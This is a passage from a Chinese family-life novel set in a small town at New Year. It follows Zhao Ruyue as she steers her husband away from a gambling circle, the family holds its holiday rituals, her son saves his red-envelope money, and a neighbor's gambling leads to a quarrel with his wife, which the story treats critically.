凭什么他都给别人面子了,别人可以不给他面子呢?这不公平! 久而久之,那些人在他那里捞不到好处,就给他起了个两个外号:宁老抠和抠老三。 宁绍明自己觉得那几十块钱花出去,给兄弟个面子没什么,可赵如月就是觉得不爽。 几十、一百块钱难道就不是钱了? 街上一碗有菜有肉的米粉才卖五毛钱,今年涨价了,也才涨到六毛。 炸油馍两毛五一个,米糕两毛一小块。 现在几十块钱的购买力可不弱,能买不少东西呢! 凭什么白白给别人!? 赵如月盯着时间,算一算他们估计也打了几圈麻将,时间临近十一点。 她起身松了松筋骨往外走:“不知道两个孩子跑到哪里玩去了,中午了也不回来吃饭。” 王海燕吐出嘴里的瓜子皮:“孩子嘛,玩起来都不知道饿的,早上叮嘱过今天杀鸡放鞭炮的时候,所有人都得在家,让他们别跑太远,你喊几声,他们肯定能听到。” 赵如月站在门口喊了几声,果然听到儿子和女儿的回应。 不到半分钟,宁时秋牵着妹妹跑回来:“妈妈!你找我们?” 赵如月把两个孩子拉到身边,先摸摸他们的额头、后脖子和后背,看看有没有汗。 摸到两个孩子的后背是干燥的,才问道:“你们俩饿不饿?” 两个孩子都说有点饿。 “想不想到集上吃云吞面?今天是年前最后一天了,今天不吃得等到初六开市才有的吃。” “想吃!” 赵如月蹲下身,压低声音:“那你们帮妈妈一个忙好不好?” 宁时夏看妈妈那么神秘,一下子兴奋起来,也跟个小特务接头似的,小小声地说话:“请问指挥官,是秘密任务吗?” 赵如月文忍俊不禁地点头:“是秘密任务,你们不能告诉别人是妈妈派你们去,要不然妈妈就要得罪人了。” “请指挥官放心,我保证完成任务!” 宁时秋无奈地戳了戳笨蛋妹妹:“你还没问是什么任务呢……” “哦哦,请问指挥官,是什么任务啊?” 赵如月说:“任务就是:去山脚湾梁国兵家,找你们爸爸,叫他带你们到集上吃云吞面去。” “啊?”竟然是这么不刺激的任务,宁时夏跟被戳了气的气球一样,瘪了。 赵如月故作严肃握住女儿的小手:“小夏同志,这可是个非常难的任务,这个任务不但需要把你们爸爸带出来,还不能让人怀疑是妈妈在背后指使。 最最最重要的是,这个任务需要我们小夏担当重任,小秋只能辅助,不能跟着小夏一起进去。” 赵如月深知某些男人的劣根性,他们觉得因为性别相同,对待小男孩就可以随意作弄。 她儿子这个年纪的小男孩跟进去,那些男人开起玩笑来,容易没轻没重。 有些人非要把小男孩作弄到哭,或者看他真生气为止。 小男孩因为那些玩笑而生气,还要被说小气,开不起玩笑。 即使他爸也在场,要是他爸也因此不高兴,父子俩都要被说。 小女孩他们就不敢,因为那是个小姑娘,轻不得重不得。 街上的小姑娘大多比较娇贵,脾气也大,很不好欺负,真把小姑娘逗哭了,被指责的就是他们了。 尤其是她闺女这么小年纪的小姑娘,通常被默认为年纪太小完全讲不通道理,她闹起来没人会说是孩子的问题。 她爸在场,不让别人逗自己闺女,也没人会觉得他不对,因为大多数人都默认闺女可以多些宠爱,儿子不能娇惯。 宁时夏一听自己任务那么重,立马又支棱起来了:“妈妈指挥官放心,我一定能完成任务!” 赵如月很放心,毕竟这种事上辈子有过很多次。 宁绍明舍不得凶孩子,哪怕他打麻将正上头,他闺女去闹,他也凶不起来一点。 有一次被气得巴掌都扬起来,想揍孩子屁股了,那手举着半天,愣是不舍得拍下去。 他闺女没觉得有什么,闹完就跑去玩了,他打都没打,竟然还觉得心疼,买了不少好吃的哄孩子。 给孩子都哄懵了,一边莫名其妙一边吃得美滋滋的。 宁时秋骑上车,准备载着妹妹去山脚湾,赵如月不太放心地叮嘱:“记着妈妈说的话,小秋你可别进去,小夏进去了就赶紧拽你爸出来,那里面吸烟的人多得很,小孩子不能多闻烟味。” 两个孩子齐齐应了一声:“知道啦!”冲着她挥挥手,自行车一蹬,一溜烟跑远了。 快到山脚湾,宁时秋停下了车,在妹妹疑惑的眼神中,对她招招手。 宁时夏:“干嘛呀?” 宁时秋:“你把耳朵凑过来,我跟你说,你进去了之后就先这样……然后……” 然后到了地方,宁时夏一进去,锁定目标后,立刻抱住目标大腿。 被梁国兵说撒谎,宁时夏也没觉得不好意思,反而认为哥哥不愧是自己哥哥,果然太聪明了,竟然知道大人会说什么。 以后可以跟妈妈说,给哥哥封个军师当当,至于她自己嘛,肯定是先锋将军啦! “哎呀,竟然被揭穿了,”宁时夏吐吐舌头做了个鬼脸,开始撒娇耍赖,“我不管,反正我肚子饿,想吃云吞面,爸爸你带我去集上吃云吞面!” 宁绍明答应的话还没说出口,就被梁国兵抢了话:“你妈妈不是在家没事干?让你妈妈带你去不就得了,你爸爸忙了一年,难得有空来玩一回,你不能扫兴知道吗?” 宁时夏顶着一张天真的脸,十分单纯地说:“不知道,扫兴是什么啊?我只知道扫地。” 说完不管他,继续拽着她爸的裤子喊:“爸爸,我要吃云吞面,带我去吃云吞面!” “好好好,爸爸带你去吃。”宁绍明看着孩子都要坐地上去了,弯腰把她抱起来。 宁时夏海拔低的时候还没觉得,这会儿海拔陡然变高,闻到的烟味更浓烈了。 她忍不住捏住自己的鼻子:“这里好臭,爸爸快走!” 眼看快进嘴的大肥肉要飞了,梁国兵怎么可能无动于衷。 他有些压制不住心中的烦躁,脱口而出:“绍明,你可不能这么惯着孩子,小小年纪就知道跟人要这要那的,像什么话,以后长大还得了?” 他以为自己跟宁绍明从小认识,很了解宁绍明,而且自己说的话有道理。 一般说出这种话,大人都会附和,然后顺势教育孩子父母有多不容易,要体谅父母的辛苦。 可他太高估了自己对宁绍明的了解。 听到梁国兵那些话,宁绍明心里就不太高兴了,他的孩子,别人凭什么指指点点? 况且什么叫跟人要这要那的?跟自己爸爸要点吃的怎么了? 他家小夏只是想吃碗云吞面,又不是要多贵的东西,怎么就不像话了? 宁绍明脸上扯出一抹不达眼底的笑:“孩子也不是想要金山银山,只是肚子饿了,想吃一碗云吞面而已,我这个当爸爸的如果连孩子这点要求都不能满足,那多没面子,你们玩着吧,我带孩子吃东西去。” 说完也不管梁国兵是什么表情,又要说什么,直接转身抱着孩子出去了。 出去后,被冬天清泠的冷风一吹,宁绍明脑子清醒不少。 回想起刚刚那些围在自己身边的人,他们说的那些话。 发现那几个人一直都在换着不同的方式,劝自己跟着一起赌,在他耳边跟苍蝇一样嗡嗡嗡、喋喋不休地企图给他洗脑。 即使宁绍明可以确定,自己输完兜里那几十块钱一定会停下,然后找借口离开,可还是忍不住打了个冷颤。 宁时夏没发现她爸的异样情绪,这会儿她正为自己圆满完成任务而高兴。 她放开捏着鼻子的手,开开心心地抱住爸爸的脖子,结果一凑近,又闻到一股烟味。 宁时夏急忙仰头远离,重新捏住鼻子,嫌弃道:“爸爸臭臭!” 宁绍明用手指轻轻在她脑门弹了一下:“你个小机灵鬼,还敢嫌弃我!” 宁时夏:“不信你让我哥闻闻,哥哥你快来!” 宁时秋的嗅觉更灵敏,走近就开始捂口鼻:“爸爸,你被烟味腌入味了!” 宁绍明觉得又气又好笑:“两个小没良心的,亏我还要带你们去集上吃云吞面,面都没吃上就开始嫌弃我了。” 赵如月站在家门口,远远地看到他们三个回来,笑了笑转身回屋,继续烤火嗑瓜子去。 宁绍明带着孩子快走到家,遇到刚从街上大包小包回来的黄文发。 黄文发夫妻俩在除夕前一天晚上才到家,今天一大早就忙着去买过年要用的东西,还没来得及来找宁绍明。 没想到能在路上遇到,黄文发忙提着东西快步走过来:“我听人说你在老梁家打牌,正想着把东西拿回家放好,就去找你们一起打几圈麻将,你怎么回来了?” 宁绍明听到他的话不由多想,梁国兵那几个是不是想接着他当由头,把跟他玩的最好的那几个兄弟也拉去玩? 站大街上,宁绍明不好说得太详细,只说:“他们玩三公,我不想玩就回来了,你东西都买好了?” “差不多了,还差鞭炮和烟花,我们住街上买这些方便,晚点再买也行。” 宁绍明怕黄文发去梁国兵那里,也遇上自己遇到的事,说道:“等什么晚点,晚点孩子喜欢的烟花都卖没了,我要带小夏和小秋到集上去吃东西,顺便买鞭炮,一起去呗?” 黄文发有点犹豫,一年没回来,也辛苦一年了,他挺想去山脚湾那里凑凑热闹,玩一玩放松一下。 第53章 但宁绍明说的话被黄文发的儿子听见了,那小子闹着一定要现在去买烟花。 黄文发说:“晚点我肯定给你买。” 他儿子黄圣德不愿意,其实他不是非要这时候买烟花,毕竟烟花都是在晚上放,现在买了也不能马上玩。 他就是看别的小孩玩摔炮眼馋,想着现在去买烟花,可以趁机让他爸给他买点摔炮玩。 黄文发犹豫了一下,他儿子就要往地上滚,也不管那地上脏不脏。 黄文发拿他没办法,要是让他滚地上,回家老太太知道了,肯定要不高兴:“行行行,现在带你去买,不许滚地上,不然老子抽你!” “你们等我一下,”黄文发对宁绍明道,“我先回去把手里这些放下,再跟你们一起去。” 一行人到了集上,再集市里遇到吴丽和黄文发的母亲手里大包小包地提着,还在买东西。 他看向黄文发,总觉得他说的东西买得差不多了,是为了去玩自我安慰的借口。 果不其然,等吴丽也注意到他们,张嘴就吐槽黄文发:“你不是说有事着急去办,怎么又来集上逛了?” 黄文发支支吾吾地回答:“没、那个、那件事不着急办了,吃完年夜饭再办也行。” 吴丽半信半疑:“既然不着急去办了,那等会儿帮我和妈把这些东西带回去,我们还要去买今晚上吃的菜。” 黄文发认命地接过东西,又往家里跑了一趟,把东西放好,再回来,云吞面都煮好了。 他们来的时候,集市还是人挤人,吃完云吞面,走出面店,外面集市已经快散了,很多摊位正在收摊,摊主大部分或者周边村子的本地人,中午也要回去杀鸡拜神祭祖。 还在周边的店铺逛着买东西的,几乎都是家在街上的人,而且大多手上提着东西,也快要回家了。 宁绍明和黄文发在几家烟花炮竹店里看了一圈,选择一家把所有东西全部买齐,也没花多少时间。 他们回到家时,才中午十二点多,放下东西,刚好可以开始杀鸡。 赵如月早选好了今天要杀的鸡。 宁绍明一回来,她立刻准备好一个用来接鸡血的小碗,往小碗里放了点清水和盐。 宁绍明先把两个孩子赶到屋里,然后拿起磨得锋利的菜刀,拔了拔鸡脖子上的毛,用刀利索地往鸡脖子上被拔掉毛的地方一抹。 鸡血恰好落到地上摆好的碗里。 赵如月手上拿着一支香,看到鸡血如碗,马上出去把大门口摆好的鞭炮点燃。 她现在点的鞭炮是去年春节剩下的,老家的规矩就是除夕第一卦鞭炮一定要用去年剩下的鞭炮。 赵如月也不知道为什么,老人都这么教,她就这么做了。 她觉得教她们这些后辈的老人们,没准也不知道为什么非得这样做。 因为从来没有一个老人能说得清楚,小孩子追根问底时,老人答不出来,还会恼羞成怒地骂:“人家都这么做,你也跟着做就是了,问那么多干什么!老祖宗传下来的规矩,小孩子不许多问!” 鞭炮声结束,硝烟味在空气中弥漫,这是鞭炮的味道,也是新年的味道。 抹脖子、接血、热水烫毛、拔毛、开膛破肚。 今天一次性杀了三只鸡,天井里热火朝天地处理着,一家人时不时互相说笑几句,宁老大一家和宁老二一家也聊得挺开心。 仿佛分家那天吵的那一架,一点也不影响双方的感情,双方都说一码归一码,吵归吵、闹归闹,血缘断不了,事情解决完依然是兄弟。 实际上心里真正的想法也只有他们自己知道了。 宁绍明在鹏城刚进厨房那一段时间,鸡处理得不少,已经练出来了,现在也处理得很快。 老大家和老二家还在处理内脏,他家的已经下锅开始煮了。 王海燕一看自家落后了,忍不住絮絮叨叨地埋怨起宁绍贤动作慢,要赶不上第一波拜神了。 宁绍贤压根不在乎什么快慢,王海燕念叨多了他烦躁,夫妻俩开始边干活边你来我往地吵起来。 好在他们还知道现在是过年,稍微克制了些,没吵得太激烈。 过年期间这种场景见多了,过年事情多,往年不是为了杀鸡的事吵,也会为了别的事吵起来,其他人自顾自地做着自己的事,管都懒得管。 宁绍明处理完一只鸡又去处理另一只,第一只拜神之后就要放在神台供神,要到初二那天才能拿下来吃,天气冷,摆着也不会坏。 他现在杀的就是今晚要吃的鸡。 除了鸡,还有各家各自买的肉和菜。 大人们做饭的时候,小孩子也不能闲着,要帮忙择菜、洗菜,还有里里外外地帮忙跑腿,摆桌子、摆碗筷、端菜。 每家几道菜,搬到饭桌上,满满当当一大桌,最后一个桌子都摆不下了,找了张旧桌子来拼到旁边才勉强放得下。 宁丹萍把最后一道汤端出来,放到桌子中间。 看着这满满的一桌菜,她忍不住咽了咽口水:“今年的菜可真是丰盛,比往年两年年夜饭的菜量都多!” 他哥宁时春端着一大锅饭走出来,刚好听见,也说道:“是啊,早知道分家后,过年能吃得那么好,应该早点分家才对。” 宁绍贤走出来,刚好听到自己儿子在说傻话,嗤笑一声说:“你可想得美!也就今年能这样凑一起,分家后各家年夜饭就各家吃了。” 宁时春不解:“为什么?爷爷奶奶还在,以后过年不是得到爷爷奶奶那里一起吃?” 三家都到爷爷奶奶那里年夜饭总不能全让爷爷奶奶准备吧? 宁绍贤吐了口烟给儿子解惑:“谁说的以后过年要到你爷爷奶奶那里一起吃?他们住的是你二叔家的房子,去他们那里相当于去你二叔家,每年都去,你二叔能乐意?” “那怎么办?” 宁绍贤:“还能怎么办,轮流呗,你爷爷奶奶明年过年来我们家,后年去你二叔家,大后年去你三叔家,没轮到的两家,过年给你爷爷奶奶送点东西就行,要是想聚在一起吃,三家商量好了,也可以。” 但经过分家的那一通事,今年过后,往后几年,聚一起吃是甭想了。 宁丹萍听完问道:“那我大姑回来,去哪家吃饭?” “三家都吃一遍。” “一天吃三家?吃得过来嘛?”她突然觉得吃饭也是一种负担。 “三家还算少的,老规矩就是这样,你过年的时候跟你奶奶回娘家,没注意到?” 宁丹萍撇嘴:“爸你忘了,奶奶没带我去过她娘家。” 宁时春:“也没带过我。” 王海燕走出来,刚好听到后面这几句,那些话一下子激起了她心里对婆婆偏心的埋怨。 可她又不能跑去骂婆婆,只好对着丈夫和子女骂骂咧咧:“还不是你们两个太蠢笨,不会讨人欢心,小时候还皮得很,太不招人喜欢,跟你们爸一个样,吃屎都赶不上热乎的!” 被骂的三个想反驳,可这时候有人从外面进来了,他们只好把话咽下去,忍着气去盛饭。 赵如月听到了他们对话,可她也不好说什么,谁让被偏心的是她的儿女呢。 她公婆去哪吃席都爱带着这两个小的,她也没办法。 毕竟以前家里条件不好,去吃席就能吃到很多肉,有些席面全家都能去,有些只需要派一个人代表全家,去的时候,一个人带两个孩子主人家不会有意见,再多就不行了。 自己的孩子能跟着一起去,她高兴还来不及。 幸好现在日子好过了,以后日子会越来越好,还分了家,要不了几年,大家就再也不用为谁多吃了一口肉而斤斤计较。 过年期间最高兴的要数小孩子们。 看完除夕热热闹闹的烟花,再睡一觉。 第二天大年初一,就到了孩子们一年中口袋最鼓的一天。 这天早上,赵如月刚醒,人还迷糊着。 她闺女就趴在被窝里对她拱拱手喊:“妈妈新年好!祝妈妈身体健康、万事如意、新年大吉、事事顺利,恭喜发财,红包拿来!” 赵如月懵懵的,下意识想掏红包,却见红包从旁边递过来。 她转头看去,是宁绍明表情无奈的脸,而红包正是他递过来的。 看样子,他才是最早遭遇孩子被窝拜年的人。 宁时夏开开心心地拿到红包,转头就去催促哥哥起床带自己去拜年。 虽然她觉得自己已经学会了,完全可以自己去,但她年纪太小,长辈们怕她把钱弄丢,都说得有大孩子或者家长带着才行。 自从妹妹会说话,宁时秋年年被催,他已经习惯了,可以自动屏蔽掉妹妹的催促,按照自己的节奏,起床、穿衣服、洗漱。 吃早饭前,先带着妹妹去给爷爷奶奶拜年,在饭桌上遇到伯伯伯母们,又给伯伯伯母们拜年。 接着又去外公外婆家。 原本该是等大年初二妈妈回娘家那天,他们跟着一起去才会给妈妈那边的亲戚拜年拿红包。 但他们妈妈的娘家离得近,今天他们就可以去了,不用等到初二那天,别人家也是这样。 一圈下来,衣兜鼓鼓,兄妹俩回家又凑在一起拆红包数钱。 赵如月今天也没别的事干,清闲得很,一年中也就这个时候最轻松。 两个孩子拆红包的时候,她也坐在旁边看着两个小的算钱。 自从小秋知道花钱,她就没再收过这孩子的压岁钱,反正也不是很多,她想着难得过年,这些钱孩子花了就花了。 他们这里给在压岁钱这事上不攀比,一般都不会给太多,也就给五毛一块的。 也就比较近的亲人,比如父母、爷爷奶奶、外公外婆可能会给多点,但也就在两块到五块之间,关系远的亲戚还有给两毛的。 前两年赵如月还收小夏的,今年小夏被她哥带着,看起来也知道钱的用处了,赵如月就也没收小夏的。 小夏信任她哥哥得很,自己留了一点钱要买玩具和上街买好吃的,剩下的全给他哥帮忙收着了。 宁时秋自己也留出了一点,然后打开衣柜,拿出一个小布包。 赵如月认得这个小布包,之前她跟宁绍明打扫房间卫生,儿子不让动这个小布包,他们就没动。 现在才知道这原来是她儿子用来藏钱的。 宁时秋打开布包划拉一倒,那布包里的钱被倒出来,赵如月惊讶地发现,被倒出来的钱是一小捆一小捆整整齐齐的。 最多的是小捆的毛票,也有少数一块、两块、五块,甚至十块的。 然而更让她惊讶的还在后面。 宁时秋把钱倒出来后,数了数,又把今年拿到的压岁钱也分好,分别用小纸条捆起来。 接着把所有钱推到她面前:“妈妈,你可以帮我办一个存折,把这些钱存起来吗?听说把钱存在银行里有利息拿。” 第54章 上辈子过年赵如月没回来,还真不知道宁时秋有这么多钱,看着得有三百多了。 宁老大家的时春十八了,兜里的钱还不一定有她儿子的多。 赵如月忽然想起后来丈夫去世后,儿子拿出来给她的一笔钱。 那笔钱可不少,她当时比现在还要震惊,以为儿子干了什么不好的事,还质问他。 弄清楚孩子没干坏事后,她拉不下脸来道歉,这事就这么不了了之了。 本来孩子帮她是好事,结果最后被她弄得大家都不高兴。 难道他们这么小的年纪就开始存了? 这回她可不能再那样了。 “小秋真聪明,竟然这么小年纪就知道钱存银行有利息拿。” 自己八岁的时候在干什么来着? 跟在她哥哥姐姐屁股后面爬树、套麻雀、抓鱼、玩泥巴、玩过家家、捉迷藏。 哦对了,还有跟孩子他爸打架…… 反正全都跟钱沾不上边,兜里别说一毛钱,连一分钱都拿不出来。 宁时秋被夸得有一点害羞,但他不觉得这是一件值得惊讶的事情。 他以为大家都知道,因为:“老师教过的。” 这话依然让久不接触学校和书本的赵如月十分震惊:“你们现在的老师这么厉害吗?竟然还给小朋友教这些知识。” 宁时秋:“可是我去外婆家,看到妈妈以前小学用的课本,上面也有呀。” “没有吧……”赵如月早不记得自己小学都学了什么。 “有,我都带回来了,我拿给你看。”宁时秋跑到衣柜前,打开抽屉,从角落摸出一把钥匙,打开他们用来当书桌写作业的木箱子。 那木箱子上盖着一个旧的枕巾当桌布,一个小竹根做的笔筒,应该是孩子让他们爷爷帮忙做的。 几本书和本子整整齐齐地叠放枕巾上,布置得简洁又好看。 宁时秋熟练地把上面的东西都挪开,然后用钥匙打开箱子,里面装着他的日记本,还有他和妹妹所有用不上的书。 包括去外婆家时,舅舅找出来的妈妈以前用过的书,也全归他们了。 赵如月看到那木箱子,第一反应是,趴在箱子上写作业看书,脚没地方放多难受啊,是不是要给两个孩子打一套合适的书桌椅了? 她敢说,街上给孩子准备书桌的人不超过十家,他们这里真的很不重视孩子的学习。 很多孩子从小都是趴在饭桌上、椅子上、床上、甚至站在供神台的八仙桌旁边写作业。 有些家长甚至觉得让孩子上完初中去打工,提前给家里挣钱,比供孩子去读书划算得多。 完全不管孩子成绩好不好,只看孩子能不能挣到钱。 以前她虽然不至于让孩子辍学,只要孩子能考得上,她砸锅卖铁也会继续供。 但是人难免受到环境影响,在有些地方,她跟镇上很多家长一样,总是会忽视这些孩子学习上的细节。 只会看孩子学习有没有退步或者进步,在学校有没有惹祸或者得奖。 在今天看到这个木箱之前,她跟宁绍明商量新家要准备什么家具,也完全没想到书桌。 要不是今天看到被充当书桌的木箱,他们可能要等到房子建成,搬进去后。 什么时候发现孩子需要一个书桌,才会意识到得给孩子添一个。 “妈妈你看。” 赵如月思绪乱飞时,宁时秋已经翻开她以前用过的教材,找到他说有教银行存款会有利息拿的地方。 她定睛一看:“这不是数学课本吗?”她还以为是思想品德或者语文课本上提过。 宁时秋不明白妈妈怎么还看不出来:“就是数学课本上教的呀,你看看这道应用题就说了,小明有一百块钱,存入银行一年有百分之五的利息。” 赵如月:“……”她觉得出应用题的人,应该没想教这个。 不过孩子能自己换着角度,挖掘新知识点也值得夸奖。 “儿子真厉害,妈妈以前都没想到还能这么学,不过银行存钱一年的利息不一定跟课本上一样,每个银行的利息也不同,要等年后银行工作人员上班,去问过才知道。” 她想了想说:“到时候我带你们去县城存。” 赵如月打算用他的名字开账户,镇上的农信社工作人员全都是本地人,她在镇上用儿子或者女儿的名字存,保不齐什么时候就被传出去,成了镇上的‘新闻’。 小地方包容度不高,一旦跟别人不一样,很难预料镇上的舆论是往好的方向还是坏的方向发展。 涉及孩子,赵如月觉得再谨慎都不为过。 “你们俩的钱混在一起存?” 两个孩子都点头。 宁时夏说:“我的钱太少啦,一个不小心就会用完,哥哥帮我存着可以留很久,我哥最会攒钱了,让他帮我拿着,我的钱会越来越多。” 其实他们也是怕她的钱被人哄走,以前有个邻居哥哥就想哄她把钱给他。 不过后来她哥哥来了,那个邻居哥哥没成功,还哭着求他们别告诉家长,他们就没跟家长说。 宁时秋拿出一个小本子翻开给妈妈看:“我都记账了,以后拿到的利息,也按照每个人存的钱来分,等妹妹学会自己管钱,你再给她自己办一个存折。” 赵如月想到自己刚回来时,想到的育儿方式,那就是孩子的事不懂别瞎管,她管出来的效果,还不一定有孩子自己发挥的效果好。 既然他们兄妹两个都商量好了,赵如月就顺势应下:“好,那我先帮你们把钱收起来?” 两个孩子再次点头。 宁时秋把钱交给妈妈后,放心地带着妹妹跑出去快乐消费了。 之前他藏着这些钱,总担心被人发现,爸爸妈妈不在,那么多钱被大人发现的话,肯定要上交给奶奶。 他知道这钱到了奶奶手上,就不是他和妹妹的钱了。 奶奶虽然有时候确实很疼他,但她可不会跟妈妈一样,允许小孩子拥有那么多钱。 爸爸妈妈回来之前,奶奶还悄悄问过他,今年的压岁钱给谁,要不要给她帮忙收着。 他说给爸爸,奶奶才没再问。 两个孩子今天可以跑出去玩,大人们却得在家待着,等住得近的亲戚家的孩子上门拜年,说清闲也清闲,只要应付一下来拜年的孩子就就行。 不过家里其他人亲戚少,很快应付完都出去串门了,赵如月还得继续在家待着。 因为她娘家人多孩子也多,早上到中午陆陆续续都有小孩子来拜年。 好在她家族里的长辈早就规定了,近亲的孩子给多少他们不管,堂表亲的孩子,统一给一块钱,不给大家添负担,她应付起来也轻松。 像邻居家没有亲戚关系的孩子,就只给三毛两毛的,然后再给孩子抓点糖果饼干塞兜里。 也就是像他们家和吴丽黄文发夫这样,大人之间关系特别好,才会给对方家孩子一块钱。 赵如月看着两个孩子出门,回来刚在火盆边坐下,对门同族堂弟赵鸿利家的两个孩子来了。 她看看时间,已经快十二点了,按说她们家在自家对面,应该早上就来的。 看两个孩子没说话就羞得满脸通红,走进来好一会儿都没吭声。 赵如月也不为难她们,直接拿出两个准备好的红包,塞进姐妹俩手里:“怎么这时候才来?是家里出什么事耽搁了吗?我早早就准备好你们的红包,就等着你们上门了,快拿着收好,可别让你们爸爸见到。” 让她那个堂弟见到,保准抢走买酒喝。 谁知听到她的话,两个孩子捏着红包,显得更局促了,吉利的话,含在嘴里怎么也说不出来。 赵如月一看,觉得真的很不对劲。 往年这两个孩子来她这里拜年,再害羞也不会表现得这样。 她看两个孩子实在不自在,就转移了话题,问道:“你们外婆的病好些了吗?你们妈妈昨天什么时候回来的?” 赵思莲小声回答:“我妈妈昨天上午回来的,说外婆的病还没好,她说初二去外婆家还要多待几天照顾外婆。” “这样啊,你妈妈这会儿在做什么?怎么不见她出门玩?” “我妈一大早吃过早饭就出门了,不知道去哪里。”赵思莲说话的时候,时不时往自己家那边看。 赵如月就觉得自己没准才对了。 她看不惯堂弟那行径,当即一手一个,拉着她们坐下,往她们手里塞吃的:“小秋带小夏出去玩了,那兄妹俩,今天中午肯定在街上买东西吃,不回家吃午饭了,你们多吃点,别着急回家,在我这里多玩一会儿,跟我聊聊天。” 她那个堂弟要是真等着孩子拿压岁钱回去,肯定心虚不敢来她家。 姐妹俩一开始有些坐立不安,还是时不时就往家那边看。 直到发现她们爸爸没过来叫她们回家,才放松下下来,吃到好吃的零食,脸上露出真心的笑容。 等两个孩子没那么防备,赵如月才又重新问她们怎么现在才来,往年她们因为就住在对面,是来得最早的。 她们妈妈也不会一大早就出门,不在家等人上门拜年。 赵鸿利有打老婆的前科,要是真出什么事,她也好去找族里的长辈管管。 赵思莲到底年纪小,比较单纯,在堂姑这里得到了一点温暖,就卸下了心防。 赵如月一问,什么都跟她说了。 “我爸天天喝酒,昨天吃年夜饭的时候,大伯说晚上十二点要准时放鞭炮,管着他不许他喝,他才没喝酒,谁知道晚上放完鞭炮,有人叫他去玩牌,他就去了,天蒙蒙亮才回来。” “早上有人来家里拜年,他起不来,来拜年的人就走了,等到他起床,人家又来拜年,他竟然说他没钱包红包,让别人随便吃点糖意思意思一下就赶紧走,别耽误他吃饭。” 赵思莲说着都想哭:“太丢人了,我去别人家里拜年,别人家大人给我红包,结果我爸一分不给别人家孩子,还把别人家孩子轰走,我妈也不在家,我都没脸出去见人了,今早他也没给小秋和小夏红包,还好意思叫我来你这里拜年……” 赵如月眉头不自觉皱起,问道:“你知道昨晚是谁叫你爸去哪里玩牌吗?” “是国兵叔来叫我爸去他家玩。” 又是这个梁国兵,昨晚上跟他一伙的方伟亮也来找宁绍明兄弟三个了。 宁绍明有了警惕心,没去,也劝他大哥二哥别去。 但是他们没把宁绍明的话听进去,两个人都去玩了。 分家的时候,他们分到手的那点钱,昨晚不会输光了吧? 第55章 赵如月把两个小姑娘留在自己家,吃零食水果和她在烤火盆里放的红薯。 下午宁时秋和宁时夏在外面玩够了回家,四个小孩又一起在这里玩起来。 期间赵如月看到堂弟赵鸿利在门口转悠了好几圈,看起来很想进来,又不太敢,估计是怕被她骂。 有一次他估计做好了心里准备,想进来找两个孩子了。 却遇到宁绍明恰好回来,两人寒暄了几句,宁绍明就问他昨晚是不是去梁国兵家玩牌了。 赵鸿利支支吾吾说不出一句整话,宁绍明一看就知道他估计输了不少,还劝他以后别去了,挣了钱休整休整房子。 他家那房子也没比赵如月大姐夫那个刚娶傻子老婆的堂弟好多少,要不是年轻的时候,长得又那么几分人样,八成也娶不上媳妇儿。 结果娶了媳妇儿也不珍惜。 当然这些话宁绍明没傻愣愣地当着人家的面直说,宁绍明跟他当了那么多年的对门邻居,也知道劝他没用。 他只是看赵鸿利一直在自己家门口溜达,还往自己家里看,觉得不太对劲才过来随便说几句。 赵鸿利不耐烦被人唠叨,他说几句这人就会走了。 果不其然,宁绍明刚跟他说到在家种地不挣钱,让他也跟着去打工,赵鸿利立马找借口溜。 宁绍明进屋后,正要跟赵如月说,却看到赵鸿利的两个孩子都在这里。 赵如月背着两个孩子,悄悄把赵鸿利把过年的钱全输光,连给孩子红包的钱都不剩下的事,告诉了宁绍明。 他才恍然大悟:“赵鸿利现在可真不是个东西,小时候他也挺正常的,怎么现在变成这样了?那两个孩子也是可怜,让她们在家吃午饭吧,我现在去做点好的?” 赵如月说:“不用,过年哪个孩子还愿意吃饭吃菜,都更乐意吃平时吃不到的零食,对了,昨晚你大哥二哥都去梁国兵家玩牌了,你问过他们有没有输钱了吗?” 说到这个宁绍明就无奈:“我二哥输钱了,二嫂正跟他闹呢,只是两口子爱面子,没让人知道,他俩吵架吓到丹洁了,丹洁躲起来悄悄哭,被我发现了,我才知道的。” “不过我大哥……”宁绍明语气更无奈了,“他昨晚赢了点钱,正得意着呢,我跟他聊了几句,他听不进去,说他又不傻,肯定知道见好就收,不会让自己吃亏,现在他这样子,连我爸妈都管不住他,更别说我这个当弟弟的,以后远着些吧。” 赵如月不相信什么见好就收,但她也管不了别人,只能捂紧自家的钱。 一直到傍晚快要吃晚饭了,赵思莲和赵思葵的妈妈冬兰回来,过来找孩子,赵如月才让姐妹俩跟她走。 赵如月也带着自己的两个孩子进去洗手,准备吃饭。 宁绍明烧了热水,倒在盆里给他们兑成温水,正要给孩子洗手。 突然听到叮叮哐哐的好几声砸东西的声音。 家里家里其他人一下子都从厨房里端着碗跑出来了。 王海燕抹了一把嘴上的油说道:“我听到外面动静那么大声,还以为是你们俩闹起来了。” 赵如月:“大嫂你这耳朵可不太灵啊,是外面的动静。” 王海燕一脸兴奋八卦的样子:“我得出去看看,听动静离我们家挺近,可别把我们家门口插的香给撞到了。” 其他人没说话,但看也是想看热闹的神情,一个个连碗都没放下,端着就跟在王海燕身后跑到门口去了,连老两口也不例外。 赵如月跟宁绍明对视一眼,也跟了出去。 走到外面才发现,是对门赵鸿利家闹出来的动静。 赵鸿利的老婆脸上顶着个巴掌印,跑到了门口站着低头抹着泪。 她哭着说:“那是孩子们的……” “你给老子闭嘴!” 她话没说完,就被赵鸿利粗暴的怒吼声打断了,看来他也怕这事被人知道会很丢人。 吼完就想把他老婆往家里拽。 他老婆不敢进去,抱着门口的电线杆子不松手。 这时候赵鸿利的大哥和大嫂听到动静,也出来劝。 赵鸿利大哥骂了他几句,把他拽到自己家去,他老婆才敢进屋。 一场闹剧被中止,其他人端着碗跟邻居凑在一起议论纷纷,说今天有不少人,两口子在家吵架。 那些吵架的人家里,十家有九家是因为其中一个去玩牌输了。 赵如月看了一眼站在不远处的二嫂,就见二嫂的脸色,从刚刚看热闹的兴奋,变成了阴沉板着脸。 大嫂则是一脸得意的样子,看起来像是很想炫耀一下自家男人玩牌赢了,可周围的人都说自家输了,好在没输太多,她就没敢说。 只是回到饭桌上,当着自家人的面,免不了状似不经意,实则嘚瑟地炫一下,只是她想要遮掩却遮不住的得意谁都能看得出来。 黄秀华和宁达看不惯这样的事,他们打从心底不乐意自家人沾那些。 当即制止王海燕:“别在孩子面前说这些!玩牌是什么好事吗?” 王海燕看公公婆婆的脸色都不太好,下意识听从他们的话噤声了。 快吃完饭时,她忽然想起来,现在分家了,自己以后可以当家做主,不用再看公婆的脸色,凭什么他们不让说自己就要听他们的? 她突然就有了逆反心理,本来已经吃饱了打算下桌,这下也不走了,端着个空碗坐着又开始说。 